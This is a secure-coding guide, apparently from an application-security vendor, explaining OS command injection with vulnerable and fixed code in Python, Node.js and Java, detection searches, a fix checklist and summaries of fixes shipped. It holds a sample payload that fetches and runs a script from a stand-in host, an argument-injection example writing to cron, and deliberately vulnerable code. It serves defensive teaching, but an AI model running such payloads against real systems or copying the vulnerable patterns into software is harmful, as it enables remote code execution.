OS command injection: pass an argument list, never a shell string

Command injection happens when user-controlled data becomes part of a string that a shell parses, so `;`, `|`, `&&`, `$(…)`, backticks and newlines turn one command into several. The fix is not to escape those characters — it is to stop invoking a shell: pass the program and its arguments as a list (`subprocess.run([…], shell=False)`, `child_process.execFile`, `ProcessBuilder`), so the operating system hands your arguments straight to `execve` with no parsing step. Where the *program name itself* is user-influenced, an allowlist of permitted commands is the control; where an argument could be read as an option, terminate the option list with `--`.

At a glance

LanguagesPython, Node.js, Java, Go, Ruby, PHP, C — anything that can spawn a process
Dangerous callsos.system, subprocess with shell=True, child_process.exec/execSync, Runtime.exec(String), eval-style shell wrappers, backticks in Ruby and Perl
Safe callssubprocess.run(list, shell=False), child_process.execFile/spawn, ProcessBuilder(List<String>), exec.Command(name, args...)
Metacharacters; | & && || $( ) ` newline < > * ? ~ and, on Windows, ^ and %VAR%
Typical impactRemote code execution as the service account; credential and cloud-metadata theft
Not a fixBlocklisting metacharacters, shlex.quote around a whole command line, or wrapping the input in quotes

Vulnerable and fixed, side by side

Python

Vulnerable

import subprocess

def ping(host: str):
    # host = "8.8.8.8; curl http://evil.tld/s.sh | sh"
    return subprocess.check_output(f"ping -c 1 {host}", shell=True)

Secure

import ipaddress
import subprocess

def ping(host: str) -> bytes:
    # Validate first: this argument has an exact grammar, so use it.
    ipaddress.ip_address(host)          # raises ValueError on anything else
    return subprocess.check_output(
        ["ping", "-c", "1", "--", host],
        shell=False,
        timeout=5,
    )

With shell=False the list elements are passed to execve verbatim — `;` is a literal semicolon in argv[1], not a separator. `--` matters because an argument starting with `-` would otherwise be read as a ping option.

Node.js

Vulnerable

const { exec } = require("node:child_process");

app.get("/logs", (req, res) => {
  exec(`tail -n 100 /var/log/${req.query.file}`, (err, stdout) => res.send(stdout));
});

Secure

const { execFile } = require("node:child_process");
const path = require("node:path");

const LOG_DIR = "/var/log/app";

app.get("/logs", (req, res) => {
  const name = path.basename(String(req.query.file ?? ""));
  const target = path.resolve(LOG_DIR, name);
  if (!target.startsWith(LOG_DIR + path.sep)) return res.status(400).end();

  execFile("tail", ["-n", "100", "--", target], { timeout: 5000 }, (err, stdout) => {
    if (err) return res.status(500).end();
    res.type("text/plain").send(stdout);
  });
});

`exec` spawns `/bin/sh -c`; `execFile` and `spawn` do not, unless you pass `shell: true`. The path check is a second, separate bug class (traversal) that lives in the same handler — fix both.

Java

Vulnerable

Runtime.getRuntime().exec("convert " + userFile + " out.png");

Secure

// Allowlist the program; never let the request name the binary.
private static final Set<String> ALLOWED = Set.of("convert", "identify");

ProcessBuilder pb = new ProcessBuilder(List.of("convert", userFile, "out.png"));
if (!ALLOWED.contains(pb.command().get(0))) throw new IllegalArgumentException();
pb.redirectErrorStream(true);
Process p = pb.start();
if (!p.waitFor(10, TimeUnit.SECONDS)) { p.destroyForcibly(); }

`Runtime.exec(String)` splits on whitespace with a StringTokenizer — it does not invoke a shell, but it also does not respect quoting, so a filename with a space silently becomes two arguments. The List overload is the only predictable form.

How to find it in your codebase

  • Grep the shell-spawning calls: `rg -n 'shell\s*=\s*True|os\.system|child_process\.(exec|execSync)|Runtime\.getRuntime\(\)\.exec|`\S' `.
  • Semgrep `python.lang.security.audit.subprocess-shell-true`, `javascript.lang.security.detect-child-process`, `java.lang.security.audit.command-injection-formatted-runtime-call`.
  • Bandit B602–B607 for Python; CodeQL `py/shell-command-constructed-from-input` and `js/shell-command-constructed-from-input` trace the taint rather than matching the call.
  • Search for shell features the code depends on — pipes, globs, redirection, `&&`. Those are the call sites that cannot simply drop `shell=True` and need restructuring.

Fix checklist

  1. Convert the call to an argument list and set `shell=False` (or switch `exec` → `execFile`).
  2. Replace anything you were relying on the shell for: build pipelines with `stdout=PIPE` between two processes, expand globs with `glob`/`fs.readdir`, redirect by opening the file in code.
  3. Validate each argument against its actual grammar — an IP, a UUID, a member of an enum — rather than blocklisting characters.
  4. Insert `--` before the first user-supplied argument so it cannot be parsed as an option.
  5. Allowlist the executable if the program name is dynamic, and set a timeout plus a working directory on every spawn.
  6. Drop privileges: the process should not be able to do anything interesting even if the argument list is wrong.

Fixes we shipped

Each of these is a pull request Orbis AppSec opened against a real open-source repository.

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

Browse every command injection case study

Frequently asked questions

Does shlex.quote make shell=True safe?

`shlex.quote` on each individual argument is correct for POSIX shells, but it is easy to apply to the wrong thing — quoting the whole command line, or quoting after interpolation, does nothing. It also has no Windows equivalent, since `cmd.exe` quoting rules differ and `^`/`%` expansion happens after quoting. Passing a list removes the parser entirely, which is why it is the recommendation rather than quoting.

Is Runtime.exec safe because it does not use a shell?

It avoids shell metacharacters, but the single-String overload tokenises on whitespace without honouring quotes, so a filename containing a space becomes two arguments and an attacker who controls the string can inject extra arguments — for example `--output=/etc/cron.d/x`. That is CWE-88 rather than CWE-78, and it is still exploitable. Use the `List<String>` form.

What if the user legitimately needs to supply a command?

Then the command is an enum, not a string. Map a short opaque identifier from the request onto a fixed argument list defined in code, and reject anything not in that map. If the requirement really is arbitrary command execution, the control is isolation — a sandboxed, network-restricted, ephemeral container — not input filtering.

Do I still need to validate arguments once the shell is gone?

Yes, for two reasons. Arguments starting with `-` are interpreted as options by the program you invoke, which is a distinct injection surface, and many programs have their own escapes — `find -exec`, `tar --to-command`, `git --upload-pack`, `ssh -o ProxyCommand`. Validate the value and, where the tool supports it, pass `--` first.

Let Orbis AppSec find these for you

Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.

Try Orbis AppSec

Authoritative sources

See also: Command injection fixes we shipped